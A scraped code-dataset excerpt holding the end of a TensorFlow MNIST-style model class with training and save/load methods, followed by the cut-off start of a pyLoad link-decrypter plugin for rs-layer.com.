num_neurons)\n print(\"\\t\\tInput:\", self.input.shape, \"-> Output:\", out.shape)\n\n\n\n # Convolutional Layer\n elif self.model_params.layer_type[i] == layer_type.CNN.value:\n print(\"Hidden layer #%d:\" % (i+1))\n if i == 0:\n self.input = tf.reshape(self.X, [-1, 28, 28, 1])\n else:\n self.input = out\n\n num_filters = self.model_params.output_size[i]\n k_size = self.model_params.kernel_size[i]\n s_size = self.model_params.kernel_stride[i]\n\n out = tf.layers.conv2d(inputs=self.input,\n filters=num_filters,\n kernel_size=[k_size, k_size],\n strides=(s_size, s_size),\n padding=\"SAME\",\n activation=act_fn,\n kernel_initializer=init_fn)\n\n print(\"\\tAdding Conv2D layer...\")\n print(\"\\t\\tKernel size = %dx%d, Stride = (%d, %d)\" %(k_size, k_size, s_size, s_size))\n print(\"\\t\\tInput:\", self.input.shape, \"-> Output:\", out.shape)\n\n # Pooling Layer\n self.input = out\n p_size = self.model_params.pool_size[i]\n pool_s_size = self.model_params.pool_stride[i]\n\n if self.model_params.use_pooling[i]:\n out = tf.layers.max_pooling2d(inputs=self.input,\n pool_size=[p_size, p_size],\n padding=\"SAME\",\n strides=pool_s_size)\n\n print(\"\\tAdding MaxPooling layer...\")\n print(\"\\t\\tKernel size = %dx%d, Stride = (%d, %d)\" %(p_size, p_size, pool_s_size, pool_s_size))\n print(\"\\t\\tInput:\", self.input.shape, \"-> Output:\", out.shape)\n\n # Dropout\n keep_prob = self.model_params.keep_prob[i]\n if self.model_params.use_dropout[i]:\n out = tf.layers.dropout(inputs=out,\n rate=keep_prob,\n training=self.training)\n\n print(\"\\tAdding Dropout layer...\")\n print(\"\\t\\tkeep_prob = %0.1f\" % keep_prob)\n\n # Summaries\n tf.summary.histogram('Activation', out)\n\n # Output (no activation) Layer\n with tf.name_scope('OutputLayer'):\n print(\"Output layer: \")\n\n if self.model_params.layer_type[i] == layer_type.FC.value:\n self.input = out\n elif self.model_params.layer_type[i] == layer_type.CNN.value:\n flatten_size = int(out.shape[1] * out.shape[2] * out.shape[3])\n self.input = tf.reshape(out, [-1, flatten_size])\n else:\n pass\n\n self.logits = tf.layers.dense(inputs=self.input,\n units=self.model_params.num_classes,\n activation=None,\n kernel_initializer=init_fn)\n print(\"\\tAdding FC layer...\")\n print(\"\\t\\tInput:\", self.input.shape, \"-> Output:\", self.logits.shape)\n\n # Summaries\n tf.summary.histogram('Activation', self.logits)\n\n\n return True\n\n def set_optimizer(self, train_params):\n self.train_params = train_params\n lossFn = self.train_params.loss_fn\n optimizer = self.train_params.optimizer\n learning_rate = self.train_params.learning_rate\n\n with tf.name_scope(self.model_params.name + '/Train'):\n # define cost/loss & optimizer\n with tf.name_scope('Cost'):\n if lossFn == loss_fn_type.Cross_Entropy.value:\n print(\"\\nLoss function: Cross_Entropy.\")\n self.cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\n logits=self.logits, labels=self.Y))\n\n with tf.name_scope('Optimizer'):\n if optimizer == optimizer_type.SGD.value:\n print(\"\\nSGD optimizer is selected.\")\n self.optimizer = tf.train.GradientDescentOptimizer(\n learning_rate=learning_rate).minimize(self.cost)\n elif optimizer == optimizer_type.Adam.value:\n print(\"\\nAdam optimizer is selected.\")\n self.optimizer = tf.train.AdamOptimizer(\n learning_rate=learning_rate).minimize(self.cost)\n elif optimizer == optimizer_type.RMSProp.value:\n print(\"\\nRMSProp optimizer is selected.\")\n self.optimizer = tf.train.RMSPropOptimizer(\n learning_rate=learning_rate).minimize(self.cost)\n else:\n pass\n\n with tf.name_scope('Accuracy'):\n correct_prediction = tf.equal(tf.argmax(self.logits, 1), tf.argmax(self.Y, 1))\n self.accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n\n # Summaries\n tf.summary.scalar('Cost', self.cost)\n tf.summary.scalar('Accuracy', self.accuracy)\n\n # merge summaries\n self.merge_summaries(self.train_params.train_dir, self.merge_flag)\n\n # initialize variables\n self.init_variables()\n\n def train_batch(self, train_params, dataset, prev_global_step, training=True):\n self.train_params = train_params\n self.avg_cost = 0\n self.avg_accu = 0\n for step in range(self.train_params.num_batch_train):\n batch_xs, batch_ys = dataset.next_batch(self.train_params.batch_size)\n\n summary, c, _, accu = self.sess.run([self.merged_summary, self.cost, self.optimizer, self.accuracy],\n feed_dict={self.X: batch_xs, self.Y: batch_ys, self.training: training})\n # average cost and accuracy\n self.avg_cost += c / self.train_params.num_batch_train\n self.avg_accu += accu / self.train_params.num_batch_train\n\n # add summary\n global_step = prev_global_step + step\n self.writer.add_summary(summary, global_step=global_step)\n\n return self.avg_cost, self.avg_accu\n\n def predict(self, image, training=False):\n image = np.asarray(image, dtype=\"float32\")\n # normalize image 0 to 1\n if image.max() == 255:\n image = image / 255\n\n image = 1.0 - image\n image = image.reshape((1, self.model_params.input_size))\n score = tf.nn.softmax(self.logits)\n prediction = tf.argmax(score, 1)[0]\n return self.sess.run([score, prediction],\n feed_dict={self.X: image, self.training: training})\n\n def evaluate(self, test_data_set, training=False):\n return self.sess.run(self.accuracy,\n feed_dict={self.X: test_data_set.images, self.Y: test_data_set.labels, self.training: training})\n\n def load_model(self, restore_dir):\n # restore saved session\n self.saver = tf.train.Saver()\n self.saver.restore(self.sess, restore_dir + self.model_params.name)\n\n def save_model(self, model_dir):\n # save session\n self.init_variables()\n self.saver = tf.train.Saver()\n tf.gfile.MakeDirs(model_dir)\n self.saver.save(self.sess, model_dir + self.model_params.name)\n # save graph\n self.writer = tf.summary.FileWriter(model_dir)\n self.writer.add_graph(self.sess.graph) # Show the graph\n","repo_name":"togheppi/PyQt","sub_path":"tf_model.py","file_name":"tf_model.py","file_ext":"py","file_size_in_byte":12923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"71236276553","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\n\nfrom module.plugins.Crypter import Crypter\nfrom module.lib.BeautifulSoup import BeautifulSoup\nfrom module.unescape import unescape\n\nclass RSLayerCom(Crypter):\n __name__ = \"RSLayerCom\"\n __type__ = \"container\"\n __pattern__ = r\"http://(www\\.)?rs-layer.com/directory-\"\n __config__ = []\n __version__ = \"0.2\"\n __description__ = \"\"\"RS-Layer.com Container Plugin\"\"\"\n __author_name__ = (\"hzpz\")\n __author_mail__ = (\"none\")\n\n def decrypt(self, pyfile):\n url = pyfile.url\n src = self.req.load(str(url))\n\n soup = BeautifulSoup(src)\n captchaTag = soup.find(\"img\", attrs={\"id\": \"captcha_image\"})\n if captchaTag:\n captchaUrl = \"http://rs-layer.com/\" + captchaTag[\"src\"]\n self.logDebug(\"Captcha URL: %s\" % captchaUrl)\n result = self.decryptCaptcha(str(captchaUrl), imgtype=\"png\")\n captchaInput = soup.find(\"input\", attrs={\"id\": \"captcha\"})\n self.req.lastUrl = url\n src = self.req.load(str(url), post={'captcha_input': result, 'image_name': captchaTag[\"src\"]})\n\n link_ids = re.findall(r\"onclick=\\\"getFile\\(\\'([0-9]{7}-.{8})\\'\\);changeBackgroundColor\", src)\n\n if not len(link_ids) > 0:\n self.retry()\n\n self.correctCaptcha()\n\n links = []\n for id in link_ids:\n self.logDebug(\"ID: %s\" % id)\n new_link = unescape(re.search(r\"